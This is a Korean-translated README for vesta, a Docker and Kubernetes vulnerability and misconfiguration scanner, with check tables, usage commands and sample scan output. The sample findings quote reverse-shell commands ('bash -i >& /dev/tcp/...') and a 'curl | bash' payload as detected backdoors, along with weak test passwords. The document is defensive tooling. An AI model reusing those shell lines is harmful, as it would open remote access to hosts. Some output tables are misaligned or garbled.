kvesta/vesta클라우드 컴퓨팅의 실제 침투를 기반으로 한 취약점 정적 분석, Docker 및 Kubernetes 클러스터 구성 탐지 도구 키트
클라우드 컴퓨팅의 실제 침투 테스트를 기반으로 한 취약점 정적 분석, Docker 및 Kubernetes 클러스터 구성 탐지 툴킷입니다.
Vesta는 취약점 정적 분석, Docker 및 Kubernetes 클러스터 구성 탐지 툴킷입니다. Kubernetes와 Docker 구성을 검사하고,
클러스터 파드와 컨테이너를 안전한 관행으로 검사합니다.
Vesta는 다양한 시스템(Windows, Linux, MacOS)의 물리적 머신에서 실행할 수 있는 유연한 툴킷입니다.
스캔
Docker
| 지원 여부 | 검사 항목 | 설명 | 심각도 | 참조 |
|---|---|---|---|---|
| ✔ | PrivilegeAllowed | 권한 모듈이 허용됨. | 치명적 | 참조 |
| ✔ | Capabilities | 위험한 capabilities가 열려 있습니다. | 치명적 | 참조 |
| ✔ | Volume Mount | 위험한 위치 마운트. | 치명적 | 참조 |
| ✔ | Docker Unauthorized | 2375 포트가 열려 있고 인증되지 않음. | 치명적 | 참조 |
| ✔ | Kernel version | 커널 버전이 이스케이프 버전 미만. | 치명적 | 참조 |
| ✔ | Network Module | Net Module이 host이고 containerd 버전이 1.41 미만. | 치명적/보통 | |
| ✔ | Pid Module | Pid Module이 host. | 높음 | |
| ✔ | Docker Server version | 서버 버전이 취약한 버전을 포함. | 치명적/높음/ 보통/낮음 | |
| ✔ | Docker 환경 비밀번호 확인 | 데이터베이스의 취약한 비밀번호 확인. | 높음/보통 | |
| ✔ | Docker History | Docker 레이어 및 환경에 위험한 명령어가 있음. | 높음/보통 | |
| ✔ | Docker Backdoor | Docker env 명령어에 악성 명령어가 있음. | 치명적/높음 | |
| ✔ | Docker Swarm | Docker swarm에 위험한 구성 또는 시크릿, 컨테이너가 안전하지 않음. | 보통/낮음 | |
| ✔ | Docker 공급망 | Docker 공급망에 취약한 구성이 있음 | 치명적/높음/ 보통 | 참조 |
Kubernetes
Vesta는 Go 1.18로 빌드되었습니다.```bash make build
## 빠른 시작
이미지 또는 컨테이너 스캔 예시: `-f`를 사용하여 tar 파일로 입력하고, vesta를 시작하십시오:```bash
# Container
vesta scan image cve-2019-14234_web:latest
vesta scan image -f example.tar
# Image
vesta scan container <CONTAINER ID>
vesta scan container -f example.tar
# Filesystem
vesta scan fs <path_of_filesystem>
출력:```bash 2022/11/29 22:50:00 Searching for image 2022/11/29 22:50:19 Begin upgrading vulnerability database 2022/11/29 22:50:19 Vulnerability Database is already initialized 2022/11/29 22:50:19 Begin to analyze the layer 2022/11/29 22:50:35 Begin to scan the layer
Detected 216 vulnerabilities
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 208 | python3.6 - Django | 2.2.3 | CVE-2019-14232 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. If | | | | | | | | django.utils.text.Truncator's | | | | | | | | chars() and words() methods | | | | | | | | were passed the html=True | | | | | | | | argument, t ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 209 | | 2.2.3 | CVE-2019-14233 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. | | | | | | | | Due to the behaviour of | | | | | | | | the underlying HTMLParser, | | | | | | | | django.utils.html.strip_tags | | | | | | | | would be extremely ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 210 | | 2.2.3 | CVE-2019-14234 | 9.8 | critical | An issue was discovered in | | | | | | | | Django 1.11.x before 1.11.23, | | | | | | | | 2.1.x before 2.1.11, and 2.2.x | | | | | | | | before 2.2.4. Due to an error | | | | | | | | in shallow key transformation, | | | | | | | | key and index lookups for | | | | | | | | django.contrib.postgres.f ... | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 211 | python3.6 - numpy | 1.24.2 | | 8.5 | high | Malicious package is detected in | | | | | | | | '/usr/local/lib/python3.6/site-packages/numpy/setup.py', | | | | | | | | malicious command "curl | bash" are | | | | | | | | detected. | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
Docker Histories: +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | ID | NAME | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL | DESCRIPTION | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 1 | Image History | - / - | - | 0.0 | high | Confusion value found | | | | | | | | in ENV: 'command' with | | | | | | | | the plain text 'bash -i | | | | | | | | >&/dev/tcp/127.0.0.1/9999 0>&1 | | | | | | | | '. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 2 | | - / - | - | 0.0 | medium | Docker history has found the | | | | | | | | senstive environment with | | | | | | | | key 'SECRET_KEY' and value: | | | | | | | | 123456. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+
<details>
<summary>결과</summary>
</details>
docker config scan, vesta 시작 예시:```bash
vesta analyze docker
또는 dokcer로 실행```bash make run.docker
출력:```bash
2022/11/29 23:06:32 Start analysing
2022/11/29 23:06:32 Getting engine version
2022/11/29 23:06:32 Getting docker server version
2022/11/29 23:06:32 Getting kernel version
Detected 3 vulnerabilities
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| ID | CONTAINER DETAIL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 1 | Name: Kernel | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: None | | | | the CVE-2022-0492 with |
| | | | | | CAP_SYS_ADMIN and v1 |
| | | | | | architecture of cgroups |
| | | | | | vulnerablility, has a |
| | | | | | potential container escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 2 | Name: vesta_vuln_test | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: 207cf8842b15 | | | | the Dirty Pipe vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 3 | Name: Image Tag | Privileged | true | critical | There has a potential container|
| | ID: None | | | | escape in privileged module. |
| | | | | | |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 4 | Name: Image Configuration | Image History | Image name: | high | Weak password found |
| | ID: None | | vesta_history_test:latest | | | in command: ' echo |
| | | | Image ID: 4bc05e1e3881 | | 'password=test123456' > |
| | | | | | config.ini # buildkit'. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
Kubernetes 설정 스캔 예시, start vesta:```bash vesta analyze k8s
출력:```bash
2022/11/29 23:15:59 Start analysing
2022/11/29 23:15:59 Getting docker server version
2022/11/29 23:15:59 Getting kernel version
Detected 4 vulnerabilities
Pods:
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| ID | POD DETAIL | PARAM | VALUE | TYPE | SEVERITY | DESCRIPTION |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 1 | Name: vulntest | Namespace: | sidecar name: vulntest | | true | Pod | critical | There has a potential |
| | default | Status: Running | | Privileged | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest | | Token:Password123456 | Sidecar EnvFrom | high | Sidecar envFrom ConfigMap has |
| | | env | | | | found weak password: |
| | | | | | | 'Password123456'. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: sidecartest | | MALWARE: bash -i >& | Sidecar Env | high | Container 'sidecartest' finds |
| | | env | /dev/tcp/10.0.0.1/8080 0>&1 | | | high risk content(score: |
| | | | | | | 0.91 out of 1.0), which is a |
| | | | | | | suspect command backdoor. |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 2 | Name: vulntest2 | Namespace: | sidecar name: vulntest2 | | CAP_SYS_ADMIN | capabilities.add | critical | There has a potential |
| | default | Status: Running | | capabilities | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | true | kube-api-access-lcvh8 | critical | Mount service account |
| | | automountServiceAccountToken | | | | and key permission are |
| | | | | | | given, which will cause a |
| | | | | | | potential container escape. |
| | | | | | | Reference clsuterRolebind: |
| | | | | | | vuln-clusterrolebinding | |
| | | | | | | roleBinding: vuln-rolebinding |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | cpu | Pod | low | CPU usage is not limited. |
| | | Resource | | | | |
| | | | | | | |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
Configures:
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| ID | TYPEL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 1 | K8s version less than v1.24 | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | | | | | the CVE-2022-0185 with |
| | | | | | CAP_SYS_ADMIN vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 2 | ConfigMap | ConfigMap Name: vulnconfig | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high | ConfigMap has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 3 | Secret | Secret Name: vulnsecret-auth | password:Password123 | high | Secret has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 4 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | high | Key permissions with key |
| | | vuln-clusterrolebinding | | create, update | resources: | | resources given to the |
| | | rolename: vuln-clusterrole | | pods, services | | default service account, which |
| | | kind: ClusterRole | subject | | | will cause a potential data |
| | | kind: Group | subject name: | | | leakage. |
| | | system:serviceaccounts:vuln | | | | |
| | | namespace: vuln | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 5 | RoleBinding | binding name: vuln-rolebinding | verbs: get, watch, list, | high | Key permissions with key |
| | | | rolename: vuln-role | role | create, update | resources: | | resources given to the |
| | | kind: Role | subject kind: | pods, services | | default service account, which |
| | | ServiceAccount | subject name: | | | will cause a potential data |
| | | default | namespace: default | | | leakage. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 6 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | warning | Key permission are given |
| | | vuln-clusterrolebinding2 | | create, update | resources: | | to unknown user 'testUser', |
| | | rolename: vuln-clusterrole | | pods, services | | printing it for checking. |
| | | subject kind: User | subject | | | |
| | | name: testUser | namespace: | | | |
| | | all | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
$./vesta -h Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit Tutorial is available at https://github.com/kvesta/vesta
Usage: vesta [command]
Available Commands: analyze Kubernetes analyze completion Generate the autocompletion script for the specified shell help Help about any command scan Container scan update Update vulnerability database version Print version information and quit
Flags: -h, --help help for vesta
## 이벤트
### KCon 2023 무기 목록
- [https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2)
| 지원 여부 | 검사 항목 | 설명 | 심각도 | 참조 |
|---|
| ✔ | PrivilegeAllowed | 권한 모듈이 허용됨. | 치명적 | 참조 |
| ✔ | Capabilities | 위험한 capabilities가 열려 있습니다. | 치명적 | 참조 |
| ✔ | PV and PVC | PV가 위험한 위치에 마운트되어 있고 활성 상태입니다. | 치명적/보통 | 참조 |
| ✔ | RBAC | RBAC에 clusterrolebingding 또는 rolebinding에 안전하지 않은 구성이 있습니다. | 높음/보통/ 낮음/경고 | |
| ✔ | Kubernetes-dashborad | -enable-skip-login 및 계정 권한 확인. | 치명적/높음/낮음 | 참조 |
| ✔ | Kernel version | 커널 버전이 이스케이프 버전 미만. | 치명적 | 참조 |
| ✔ | Docker Server version (k8s 버전이 v1.24 미만) | 서버 버전이 취약한 버전을 포함. | 치명적/높음/ 보통/낮음 | |
| ✔ | Kubernetes 인증 만료 | 인증이 30일 후 만료됨. | 보통 | |
| ✔ | ConfigMap 및 Secret 확인 | ConfigMap 또는 Secret에서 취약한 비밀번호 확인. | 높음/보통/낮음 | 참조 |
| ✔ | PodSecurityPolicy 확인 (k8s 버전 v1.25 미만) | PodSecurityPolicy가 위험한 파드 구성을 허용함. | 높음/보통/낮음 | 참조 |
| ✔ | Auto Mount ServiceAccount Token | 기본 서비스 토큰 마운트. | 치명적/높음/ 보통/낮음 | 참조 |
| ✔ | NoResourceLimits | 리소스 제한이 설정되지 않음. | 낮음 | 참조 |
| ✔ | Job 및 Cronjob | Job 또는 CronJob에 seccomp 또는 seLinux가 설정되지 않음. | 낮음 | 참조 |
| ✔ | Envoy admin | Envoy admin이 열려 있고 0.0.0.0을 수신 중. | 높음/보통 | 참조 |
| ✔ | Cilium version | Cilium에 취약한 버전이 있음. | 치명적/높음/ 보통/낮음 | 참조 |
| ✔ | Istio configurations | Istio에 취약한 버전 및 취약한 구성이 있음. | 치명적/높음/ 보통/낮음 | 참조 |
| ✔ | Kubelet 10250/10255 및 Kubectl 프록시 | 10255/10250 포트가 열려 있고 인증되지 않았거나 Kubectl 프록시가 열려 있음. | 높음/보통/낮음 | |
| ✔ | Etcd configuration | Etcd 안전 구성 확인. | 높음/보통 | |
| ✔ | Sidecar configurations | Sidecar에 위험한 구성이 있음. | 치명적/높음/ 보통/낮음 | |
| ✔ | Pod annotation | Pod annotation에 안전하지 않은 구성이 있음. | 높음/보통/ 낮음/경고 | 참조 |
| ✔ | DaemonSet | DaemonSet에 안전하지 않은 구성이 있음. | 치명적/높음/ 보통/낮음 | |
| ✔ | Backdoor | 백도어 탐지. | 치명적/높음 | 참조 |
| ✔ | Lateral admin movement | Pod가 마스터 노드를 지정함. | 보통/낮음 |